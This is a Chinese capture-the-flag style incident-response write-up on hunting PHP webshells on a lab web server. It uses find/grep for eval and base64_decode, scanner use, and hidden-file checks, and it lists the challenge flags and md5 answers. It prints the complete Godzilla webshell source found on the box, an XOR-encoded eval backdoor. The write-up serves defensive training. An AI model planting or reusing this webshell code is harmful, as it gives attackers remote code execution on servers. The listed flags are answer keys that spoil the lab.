【玄机】第一章-应急响应-WebShell 查杀

admin 2024年5月15日20:29:43评论31 views字数 1834阅读6分6秒阅读模式

WebShell 定位

首先启动靶机,登录 SSH,当务之急是对 WebShell 进行定位,常见的 WebShell 定位方式有两种

  • 使用 D 盾等工具进行查杀
  • 在受害机器中手动查询

手动查询

首先切换到网站的运行目录中

cd /var/www/html

这里因为要查询的是 PHP WebShell,故将后缀确定为.php,之后搜索 WebShell 常用的eval()函数,除此以外还有assert()等方法

find ./ -name "*.php" | xargs grep "eval("

xargs 可以将管道或标准输入数据转换成命令行参数,也能够从文件的输出中读取数据,通常和管道符一起使用

【玄机】第一章-应急响应-WebShell 查杀

之后我们对搜索出的三个文件依次进行排查,排查./include/gz.php文件时发现 Flag 为027ccd04-5065-48b6-a32d-77c704a5e26d(提交时注意 Flag 格式)【玄机】第一章-应急响应-WebShell 查杀

D盾查杀

将网站运行目录进行打包,回传到D盾进行扫描即可,结果如下,扫描结果和我们手工排查的基本一致,之后就不再赘述

tar -czvf src.tar.gz ./*
【玄机】第一章-应急响应-WebShell 查杀

确定 WebShell 工具

完整木马代码如下:

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
  eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

根据其中出现的密钥值3c6e0b8a9c15224a,我们可以确定攻击者使用的是 Godzilla,Github 地址为https://github.com/BeichenDream/Godzilla,转成 md5 为39392de3218c333f794befef07ac9257,得到 Flag

查找隐藏 Shell

根据之前的查杀结果,这里 Shell 的路径是/var/www/html/include/Db/.Mysqli.php,这里用ls是看不出来的,需要使用ls -a命令显示隐藏文件,最终将路径转为 md5 为aebac0e58cd6c5fad1695ee4d1ac1919【玄机】第一章-应急响应-WebShell 查杀

查杀免杀马

所谓免杀马,就是绕过安全检测,使木马正常工作的方式,关于 PHP 免杀可以参考# PHP从零学习到Webshell免杀手册,简单来说,PHP 免杀马通常字符串异或加密、Base 家族加密、rot13加密、字符串拼接等方式实现,这里我们对 Base64 编码进行查杀,依然是手动搜索

find ./ -name "*.php" | xargs grep "base64_decode"

这里在/var/www/html/wap/top.php中找到了 Base64 加密方法【玄机】第一章-应急响应-WebShell 查杀

打开确认的确是免杀马,最终生成路径 md5 为eeff2eabfd9b7a6d26fc1a53d3f7d1de【玄机】第一章-应急响应-WebShell 查杀

原文始发于微信公众号(天禧信安):【玄机】第一章-应急响应-WebShell 查杀

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月15日20:29:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【玄机】第一章-应急响应-WebShell 查杀https://cn-sec.com/archives/2743819.html

发表评论

匿名网友 填写信息